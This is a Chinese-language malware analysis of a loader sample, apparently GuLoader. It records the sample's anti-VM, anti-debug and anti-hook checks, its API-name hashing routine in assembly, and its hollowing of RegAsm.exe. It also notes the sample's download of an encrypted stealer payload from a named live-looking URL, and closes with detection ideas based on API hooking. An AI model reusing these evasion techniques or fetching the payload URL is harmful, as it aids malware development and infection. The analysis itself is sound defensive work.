样本名称 | b89d53ad687ce9c4a808fdab9190a497.exe |
样本类型 | exe |
恶意类型 | 加载器 |
样本MD5 | b89d53ad687ce9c4a808fdab9190a497 |
样本SHA | 30e2ae0a9d77e37e1dc03fe8d9769672184e1ff5 |
样本分配出一段空间,解密shellcode后经过一系列调试检测,虚拟机检测,HOOK检测之后。启动傀儡进程RegAsm.exe,傀儡进程其实为其本身,不过执行路径不同,同样经过一系列检测后进行文件下载…
后面的话主要就是下载数据,异或解密后运行窃密木马(这个网站挂了没分析出)
遍历内存,将内存中的字符串进行加密后与特定数据进行比较,0x2d9cc76c,0xdfcb8f12,0x27AA3188,0xF21FD920,0X3E17ADE6,0x7F21185B,0XA7C53F01,0XB314751D
其中检测到VmtoolsdControlWndClass字符串,弹窗程序不能在虚拟机中运行
调用了CreateFileA(“C:\Program Files\Qemu-ga\qemu-ga.exe”,0,1,0,3,0,0)
返回error path not found 否则退出程序
EnumWindows检测窗口数量与12进行比较
程序中加了大量花指令,干扰IDA的逆向分析,且其中的花指令还会参与到异或运算之中,不方便进行补丁去除。
程序没有直接调用DLL函数,而是解析DLL格式,根据函数名称加密的值,来确定调用的函数地址。
检测ntdll.dll之中的函数是否被HOOK
检测如下特征二进制码
B8 00 00 00 00 mov eax,0
BA * * * * * mov edx,****//这里感觉有点问题
50 push eax
c3 ret
90 nop
90 nop
将会被修复
B8 **** E0 FF
B8 **** mov eax ****
E0 FF jmp eax
将其patch为
mov eax ,5
mov edx,xxxxx
检测点为50 c3 90 90
push eax
retn
检测点E8 00 00 00 00****** C2 14 ***** C2 14
call $0
.....
retn 0x14
.....
retn 0x14
启动了RegAsm.exe作为傀儡进程
__asm
{
mov edx,0x1505
label1:
mov ebx,dex
shl edx,5
add edx,ebx
movzx ebx,byte ptr ds:[esi];//esi为函数名称地址
add edx,ebx
add esi,0x1
cmp word ptr ds:[esi],0
jnz label1
};如果dll加密,奇数位参与相加运算,add esi,0x2
程序首先分配一段内存,四个字节为一组0x929254c4异或密钥shellcode之后利用push,pop对新分配内存进行填值
利用PE结构获取dll函数地址,调用ZwQueryVirtualMemoey(-1,0x10000,0,0x12F700,0X1c,0)<0xe7639e>
遍历内存直到出现数值不为0,后面进行E76009加密,将加密后的数据与特定数据进行比较0x2d9cc76c,0xdfcb8f12,0x27AA3188,0xF21FD920,0X3E17ADE6,0x7F21185B,0XA7C53F01,0XB314751D,在0x612B68检测到字符串vmtoolsdControlWndClass
调用了EnumWindows检测窗口数量与12进行比较大于等于则跳转
调用了ZwProtectVirtualMemory(-1,0x12f80c,12f810,0x40,0x12f814);
12f80c→7c921000
12f810→7a000
12f814→0
将Ntdll内存修改为可读可写可执行
将DbgUiRemoteBreakin前几个字节给Patch了,变成了exit(0)函数
如果内存中存在如下组合
B8 00 00 00 00 mov eax,0
BA * * * * * mov edx,****
50 push eax
c3 ret
90 nop
90 nop
将会启动patch
检测数据 B8 **** E0FF,mov eax,jmp eax,
将其patch为mov eax ,5 mov edx,xxxxx
检测数据E8 00 00 00 00,会将前面5个数据给patch
调用了ZwSetInformationThread(-2,0x11,0,0)进行反调试
调用了CreateFileA(“C:\Program Files\Qemu-ga\qemu-ga.exe”,0,1,0,3,0,0)
返回error path not found 否则退出程序
时间差检测反调试
ZwGetContextThread(-2)获取线程上下文信息,并且比较DR0,DR1,DR2,DR3,DR6,DR7,判断是否存在调试行为
检测CreateProcessInternalW等函数第一个字节是否为,0xcc(检测函数断点)或者是否为0x0f0b,0xcd03(这两个不知道检测啥可能是hook)
调用了CreateProcessInternalW(0, “C:\WINDOWS[Microsoft.NET](http://microsoft.net/)\Framework\v2.0.50727\RegAsm.exe”,“C:\Documents and Settings\Administrator\桌面\GuLoad”,0xE80000,0XE80000,0,4,0,0,0XE80400,0XE80800,0)
0XE8000→0XC
0XE80400→0X44
后续调用了OpenFile,ZwCreateSection,ZwMapViewOfSection
ZwWriteVirtualMemory(0x9c,0x90000,0xe70000,0x9000,0x12f928)
ZwGetContextThread,ZwSetContextThread,ZwResumeThread,ZwWaitForSingleObject,ZwTerminateProcess且在每次调用之前都会判断硬件断点,并且在调用的过程中异或了代码段,其中ZwWriteVirtualMemory函数的就是不断异或后的代码段,其实是本身,如果下断点的话会有问题。
InternetSetOptionA(0xcc0004,0x2,0x19fbd8,4)
InternetOpenUrlA(0xcc0004,"http://hosseinsoltani.ir/wp-includes/IXR/gozman_FuZUeePhB40.bin“)
InternetReadFile(0,0x1fe0000,0x10000,0x19fbc)
InternetCloseHandle
再次InternetOpenA(“Mozilla/5.0 (Windows NT 6.1; WOWTrident/7.0; rv:11.0)”,0,0,0,0)
InternetOpenUrlA(0xcc0004,“http://hosseinsoltani.ir/wp-includes/IXR/gozman_FuZUeePhB40.bin”)
InternetReadFile(0,0x1fe0000,0x10000,0x19fbc)
InternetCloseHandle
因为网站挂了,开始无限循环…
修复HOOK之前调用了ZwProtectVirtualMemory,修改动态链接库内存凌空为可读可写可执行,可以先一步HOOK ProtectVirtualMemory相关函数.用来判断相关行为
检测其参数,如果为dll领空,则说明存在反HOOK行为。
针对HOOK可以采用一些不同的inline hook方式进行干扰检测
可以尝试HOOK EnumWindows函数,可能存在窗口数行为。
不过一般的程序也可能会有此行为,所以可能进行误判
检测 CreateProcessInternW,ZwSetContextThread,ZwResumeThread,相关函数参数来判断是否存在傀儡进程。
Hook CreateProcessInternW函数,获取启动进程名称
Hook ZwSetContextThread和ZwResumeThread函数参数可以确定句柄。
检测字符串为C:\Program Files\Qemu-ga\qemu-ga.exe,说明存在虚拟机检测。
可以通过HookCreateFileA文件操作相关函数,查看其参数确定行为
HOOK API ZwSetInformationThread 判断其行为
判断第二个参数为0x11说明存在反调试行为
判断函数内存前几个字节是否被patch
根据PEB获取kernel32.dll基址,获取GetProcAddress地址后找到LoadLibrary地址,再利用LoadLibary函数获取ntdll地址,最后利用GetPorcAddress获取DebugBreakPoint,DbgUiRemoteBreakin地址,查询前几个字节是否有变动。如果改变则可能存在反调试行为。
检测机器码0f31用来判断rdstc时间差检测反调试。
由于机器码长度过短,且程序在运行过程中不断异或加解密自身,可能会存在误报现象。
通过Hook ZwGetContextThread来确定其可疑行为
不过普通程序也会调用该API,且获取线程上下文不一定是判断硬件断点所用,所以可能会误判
通过检测导入表来判断API
程序解析DLL格式,遍历函数名称,通过函数名称生成哈希比较,来确定获取的DLL的名称及其地址,不太好检测导入DLL或者字符串来判断导入函数确定行为